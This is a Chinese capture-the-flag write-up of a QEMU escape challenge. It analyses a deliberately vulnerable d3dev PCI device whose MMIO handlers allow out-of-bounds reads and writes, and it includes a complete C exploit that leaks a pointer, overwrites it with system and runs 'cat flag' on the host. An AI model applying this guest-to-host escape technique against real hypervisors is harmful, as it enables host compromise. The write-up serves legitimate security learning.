这是蚂蚁集团举办的一个 CTF 比赛,看到 Pwn 题中有一个 QEMU 相关的题目,正好想着学一下 QEMU 虚拟机逃逸的基本套路。用了大概一天的时间,学习了一下 QEMU 逃逸的基本内容,然后把这题解出来了。
# 漏洞
QEMU 逃逸的题目一般是出题者通过实现一个具有漏洞的 PIC 设备,然后在启动脚本中指定加载该 PCI 设备,然后让做题者攻击对应的设备实现虚拟机逃逸。从这题提供的启动脚本中,可以看到出题者实现的 PCI 设备为 d3dev 设备:

我们将题目中的 QEMU 可执行文件放入到 IDA Pro 中,然后搜索对应的函数,可以得到以下结果:

一般来说,漏洞就存在于相应的 read/write 函数中,因此我们只需要对这几个函数进行分析即可。
首先,我们来看 d3dev_mmio_read 函数:

这个函数通过 addr 和 opaque 的 seek 成员来从 blocks 中读取一段内容,经过一系列编码之后返回,可以看到这里并没有长度检查,我们再查看一下 blocks 字段所在的内存位置:

blocks 字段下面就是 rand_r 字段,而 rand_r 字段又存着什么呢?可以查看 d3dev_instance_init 函数,该函数会对 d3devState 数据进行基本的初始化:

在该函数中,将 rand_r 字段设置成 rand_r 函数的地址,rand_r 函数位于 QEMU 可执行程序中,因此可以越界读该字段泄漏 QEMU 的基地址。
接着我们可以看 d3dev_mmio_write 函数,该函数可以对指定内存的内容进行写入,同样,写入过程中没有做任何检查。
主要漏洞位于上面两个函数中,而 d3dev_pmio_read 函数根据传进来的 addr 值,跳转到不同指令位置进行执行,这些位置的代码主要是返回一些不同的值给用户。d3dev_pmio_write 函数会根据传入的 addr 值对 d3devState 实例的一些值进行写入,这些写入会在后面的利用过程中起到作用:

# 漏洞利用
首先,为了实现内存越界读,我们通过 d3dev_pmio_write 函数将 d3devState 的 seek 字段设为 0x100,这样可以通过控制传进去的 addr 实现越界读写。此外,在 d3dev_mmio_read / d3dev_mmio_write 函数中可以看到对读取以及写入内容的编码用到了 key 字段,这个字段在加载该设备的时候会使用随机值赋值,为了降低对编码内容进行解码的难度,可以使用 d3dev_pmio_write 对这些值写入 0,从而简化编码内容的求解。
pmio_write(0x8, 0x100);
pmio_write(0x4, 0x0);
之后可以使用 mmio_read 来实现越界读取,然后进行解码,泄漏 rand_r 函数地址,从而求得 QEMU 的基地址,进一步求得 system 函数的地址。接下来使用 d3dev_mmio_write 进行越界写,将 system 函数的地址进行写入。但是需要注意的是,mmio_write 函数一次只能写入 4 个字节,而第二次写入的时候无法直接进行写入,会先获取之前写入的内容,然后结合当前写入的内容进行了一次解码,再将最后得到的值写入到目标地址中:

因此,我们对 system 函数的地址通过程序内部的逻辑进行编码,然后将编码后的值分为高低位分两次使用 mmio_write 进行写入,从而实现将 rand_r 字段的地址更改为 system 地址。
最后,需要看看 rand_r 在哪里被调用,可以看到在 d3dev_pmio_write 函数中,会使用 r_seed 字段的地址作为参数调用 rand_r,那么我们将 rand_r 字段所在地址处的内容更改为 “cat flag” 则可以获得 flag 值。
# 完整 Exp
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <stdio.h>
#include <unistd.h>
/**
* mmio access
*/
unsigned char* mmio_mem;
void setup_mmio() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}
void mmio_write(uint32_t addr, uint32_t value) {
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint64_t addr) {
return *((uint64_t *)(mmio_mem + addr));
}
/**
* pmio access
*/
uint32_t pmio_base = 0xc040;
void setup_pmio() {
iopl(3); // 0x3ff 以上端口全部开启访问
}
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, pmio_base + addr);
}
uint64_t pmio_read(uint32_t addr)
{
return (uint64_t)inl(pmio_base + addr);
}
/**
* Exploitation
*/
uint64_t encode(uint32_t high, uint32_t low) {
uint32_t addr = 0xC6EF3720;
for (int i = 0; i < 32; ++i) {
high = high - ((low + addr) ^ (low >> 5) ^ (16 * low));
low = low - (((high + addr) ^ (high >> 5) ^ (16 * high)));
addr += 0x61C88647;
}
return (uint64_t)high * 0x100000000 + low;
}
uint64_t decode(uint32_t high, uint32_t low) {
uint32_t addr = 0x0;
for (int i = 0; i < 32; ++i) {
addr -= 0x61C88647;
low += (((high + addr) ^ (high >> 5) ^ (16 * high)));
high += ((low + addr) ^ (low >> 5) ^ (16 * low));
}
return (uint64_t)high * 0x100000000 + low;
}
int main(int argc, char* argv[]) {
printf("Begin\n");
setup_pmio();
setup_mmio();
printf("Setup over\n");
pmio_write(0x8, 0x100);
pmio_write(0x4, 0x0);
uint64_t value = mmio_read(24);
printf("%lx\n", value);
uint64_t rand_r = decode(value / 0x100000000,
value % 0x100000000);
printf("%lx\n", rand_r);
uint64_t system = rand_r + 0xa560;
printf("%lx\n", system);
uint64_t encode_system = encode(system / 0x100000000, system % 0x100000000);
printf("%lx\n", encode_system);
uint32_t es_low = encode_system % 0x100000000;
uint32_t es_high = encode_system / 0x100000000;
mmio_write(24, es_low);
sleep(1);
mmio_write(24, es_high);
pmio_write(0x8, 0x0);
mmio_write(0, 0x67616c66); // flag
pmio_write(0x1C, 0x20746163); // cat
return 0;
}